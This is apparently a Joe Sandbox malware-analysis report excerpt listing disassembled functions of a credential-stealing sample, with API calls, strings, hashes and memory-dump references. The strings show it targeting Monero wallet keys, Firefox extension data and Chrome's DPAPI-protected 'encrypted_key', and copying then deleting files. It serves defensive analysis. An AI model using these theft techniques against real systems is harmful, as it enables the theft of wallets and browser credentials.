Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 3630829c4f5fd70d6739ced872021ae8f0cce57f4a3c1035077c16d4c84bc3f6
Instruction ID: e088bd86bdb9add10dc34189b6128f43e040ac678c3a73ca152cce14f4a511a8
Opcode Fuzzy Hash: 3630829c4f5fd70d6739ced872021ae8f0cce57f4a3c1035077c16d4c84bc3f6
Instruction Fuzzy Hash: 5B41F5B110079C5EDB228B248D84FFBBFE8EB45704F1445E8E98A861C2D3719A44CF24

Function 00B06630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00B06663

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

ShellExecuteEx.SHELL32(0000003C), ref: 00B06726
ExitProcess.KERNEL32 ref: 00B06755

Strings

<, xrefs: 00B066D9

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: f68536779019cd5bfc1c2f25b41008777fda85b189df0103e38b5d1107bc37b2
Instruction ID: 1038cd710ba5033a95f00f1c5a65b6ca9e4d1f419dfd2a88d0ce4b238dfe0475
Opcode Fuzzy Hash: f68536779019cd5bfc1c2f25b41008777fda85b189df0103e38b5d1107bc37b2
Instruction Fuzzy Hash: 4D314DB1901308AADB14EB54DC81FDEBBB8AF14300F405589F249A61D1DF746B48CFA6

Function 00B087C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B10E28,00000000,?), ref: 00B0882F
RtlAllocateHeap.NTDLL(00000000), ref: 00B08836
wsprintfA.USER32 ref: 00B08850

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Strings

%dx%d, xrefs: 00B08847

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: b867011ada102f0a6dd7adab6d52682c3940130650134c18adc4404b72b37e02
Instruction ID: a20293f08610a1328d7b4cbf74c2140c31883526b956f2f746b570be694a5e66
Opcode Fuzzy Hash: b867011ada102f0a6dd7adab6d52682c3940130650134c18adc4404b72b37e02
Instruction Fuzzy Hash: D721E7B1A44308ABDB04DF98DD49FAEBBB8FB48B11F104159F645E7390C779A9018BA1

Function 00B08D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00B0951E,00000000), ref: 00B08D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00B08D62
wsprintfW.USER32 ref: 00B08D78

Strings

%hs, xrefs: 00B08D6F

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: c9684378fdd74260710f2f21a88ab1557c827535795ca0ddd70232694ddf938e
Instruction ID: 2d9035450ceaabb699b645428d19c7343c04a2bb1187168be2e43b5797207cee
Opcode Fuzzy Hash: c9684378fdd74260710f2f21a88ab1557c827535795ca0ddd70232694ddf938e
Instruction Fuzzy Hash: 88E08CB0B40308FBC700DB98DC0EE69B7B8EB04702F000194FD4AC7380DA719E009BA2

Function 00AFA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B08B60: GetSystemTime.KERNEL32(00B10E1A,018AEBF0,00B105AE,?,?,00AF13F9,?,0000001A,00B10E1A,00000000,?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B08B86

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AFA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00AFA3FF
lstrlen.KERNEL32(00000000), ref: 00AFA6BC

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

DeleteFileA.KERNEL32(00000000), ref: 00AFA743

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 1e4619e63398dcae8d0ed8ec2190ede370b823aaf1364aa1a9320dbac69c57a4
Instruction ID: be7c1942782c9de2d2e0e66ee7eaf5b175e2bd4dec54efc5f847d9fe122ec98b
Opcode Fuzzy Hash: 1e4619e63398dcae8d0ed8ec2190ede370b823aaf1364aa1a9320dbac69c57a4
Instruction Fuzzy Hash: CEE1EE729103089ADB04FBA4DD96EEE777CAF24300F508999F516B60D1EF346A49CB72

Function 00AFD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B08B60: GetSystemTime.KERNEL32(00B10E1A,018AEBF0,00B105AE,?,?,00AF13F9,?,0000001A,00B10E1A,00000000,?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B08B86

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AFD481
lstrlen.KERNEL32(00000000), ref: 00AFD698
lstrlen.KERNEL32(00000000), ref: 00AFD6AC
DeleteFileA.KERNEL32(00000000), ref: 00AFD72B

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 7912493e24b35b9c8e7fca6aa86afa6e783fdd4ab9d97ae63e89f32e7ce57ea5
Instruction ID: 790e39ab6a7869ce0368436a4c43df8bd94aa928f556a07b1e9b37f3c6ebe380
Opcode Fuzzy Hash: 7912493e24b35b9c8e7fca6aa86afa6e783fdd4ab9d97ae63e89f32e7ce57ea5
Instruction Fuzzy Hash: FF91F1729103089BDB04FBA4DD96EEE77B8AF14300F508999F507B61D1EF346A49CB62

Function 00AFD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B08B60: GetSystemTime.KERNEL32(00B10E1A,018AEBF0,00B105AE,?,?,00AF13F9,?,0000001A,00B10E1A,00000000,?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B08B86

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AFD801
lstrlen.KERNEL32(00000000), ref: 00AFD99F
lstrlen.KERNEL32(00000000), ref: 00AFD9B3
DeleteFileA.KERNEL32(00000000), ref: 00AFDA32

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 23f8b815fb452d9787c028347cae9f6f96ed32766ba9ed0fcd89a76f04b67692
Instruction ID: c5b6229beb62f28491e779f1f267d7c345ae5c30057edd17b6020258a933e4d1
Opcode Fuzzy Hash: 23f8b815fb452d9787c028347cae9f6f96ed32766ba9ed0fcd89a76f04b67692
Instruction Fuzzy Hash: 3281E0729103089BDB04FBA4DD96EEE77B8AF54300F508999F507B61D1EF346A09CB62

Function 00AFF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
Part of subcall function 00AF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
Part of subcall function 00AF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
Part of subcall function 00AF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
Part of subcall function 00AF99C0: LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
Part of subcall function 00AF99C0: CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

Part of subcall function 00B08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B08E52

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00B11580,00B10D92), ref: 00AFF54C
lstrlen.KERNEL32(00000000), ref: 00AFF56B

Strings

moz-extension+++, xrefs: 00AFF5AD
^userContextId=4294967295, xrefs: 00AFF59C

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 49a32fad7b60cc69f31d0b4f9eca114834b461a7fb60794d067ce6f64e54e160
Instruction ID: 90640c1d464c8b0f310f2eb5dc2302ebf4ef4918a109bedf83ce817c5acd25b3
Opcode Fuzzy Hash: 49a32fad7b60cc69f31d0b4f9eca114834b461a7fb60794d067ce6f64e54e160
Instruction Fuzzy Hash: CB51F371D103089ADB04FBA4DC96DED77B9AF54300F50C9A8F516A71D1EF34AA09CBA2

Function 00B03560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 677f2952f9805527c198e58da335cc0c28c48afd7b1313fac52d74b0158c4ee8
Instruction ID: 980e8a47c2f97650304b519888a4532e658aab635011dbc56fab09b14da178e2
Opcode Fuzzy Hash: 677f2952f9805527c198e58da335cc0c28c48afd7b1313fac52d74b0158c4ee8
Instruction Fuzzy Hash: 9E414071D14209ABCB04EFA4D889AFEBBF8EF54704F008458E516762D0DB75AA45CFA2

Function 00AF9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00AF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
Part of subcall function 00AF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
Part of subcall function 00AF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
Part of subcall function 00AF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
Part of subcall function 00AF99C0: LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
Part of subcall function 00AF99C0: CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

Part of subcall function 00B08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B08E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00AF9D39

Part of subcall function 00AF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9AEF
Part of subcall function 00AF9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B01
Part of subcall function 00AF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00AF4EEE,00000000,00000000), ref: 00AF9B2A
Part of subcall function 00AF9AC0: LocalFree.KERNEL32(?,?,?,?,00AF4EEE,00000000,?), ref: 00AF9B3F

Part of subcall function 00AF9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00AF9B84
Part of subcall function 00AF9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00AF9BA3
Part of subcall function 00AF9B60: LocalFree.KERNEL32(?), ref: 00AF9BD3

Strings

"encrypted_key":", xrefs: 00AF9D30
DPAPI, xrefs: 00AF9D89
, xrefs: 00AF9DC1

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

